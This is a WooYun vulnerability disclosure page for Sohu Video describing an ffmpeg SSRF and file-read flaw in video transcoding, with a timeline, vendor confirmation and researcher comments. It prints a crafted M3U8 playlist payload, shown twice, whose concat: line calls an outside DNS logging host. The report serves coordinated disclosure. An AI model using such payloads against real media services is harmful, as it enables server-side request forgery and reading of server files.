当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0205709

漏洞标题：搜狐视频ffmpeg漏洞可文件读取/SSRF

相关厂商：搜狐

漏洞作者： 荒废的腰子

提交时间：2016-05-06 16:14

修复时间：2016-06-20 16:30

公开时间：2016-06-20 16:30

漏洞类型：命令执行

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-06： 细节已通知厂商并且等待厂商处理中
2016-05-06： 厂商已经确认，细节仅向厂商公开
2016-05-16： 细节向核心白帽子及相关领域专家公开
2016-05-26： 细节向普通白帽子公开
2016-06-05： 细节向实习白帽子公开
2016-06-20： 细节向公众公开

简要描述：

ffmpeg

详细说明：

1.上传视频处，开始转码

ff.jpg


2.payload

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://aaa00e.dnslog.info
#EXT-X-ENDLIST


3.cloudeye返回请求

ff1.jpg

漏洞证明：

1.上传视频处，开始转码

ff.jpg


2.payload

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://aaa00e.dnslog.info
#EXT-X-ENDLIST


3.cloudeye返回请求

ff1.jpg

修复方案：

升级

版权声明：转载请注明来源 荒废的腰子@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2016-05-06 16:22

厂商回复：

感谢支持

最新状态：

暂无

漏洞评价：

评价

  1. 2016-05-06 16:21 | mango ( 核心白帽子 | Rank:2145 漏洞数:312 | 解决问题的第一步，是要承认问题的存在。)

    新姿势么~~怎么命令执行呢~

  2. 2016-05-06 16:23 | _Thorns ( 普通白帽子 | Rank:1744 漏洞数:269 | 以大多数人的努力程度之低，根本轮不到去拼...)

    新姿势么~~怎么命令执行呢~

  3. 2016-05-06 16:27 | kEvin1986 ( 普通白帽子 | Rank:102 漏洞数:6 | $ ? #)

    http://seclists.org/oss-sec/2016/q1/85 不是命令执行

  4. 2016-05-06 16:28 | mango ( 核心白帽子 | Rank:2145 漏洞数:312 | 解决问题的第一步，是要承认问题的存在。)

    我凑！！标题党 该打！！

  5. 2016-05-06 16:41 | 荒废的腰子 ( 普通白帽子 | Rank:264 漏洞数:31 | bug is my best friend)

    @mango 复制了之前的问题标题。。。

  6. 2016-05-07 22:39 | Fire ant ( 普通白帽子 | Rank:107 漏洞数:35 | 他们回来了................)

    大师傅速度真快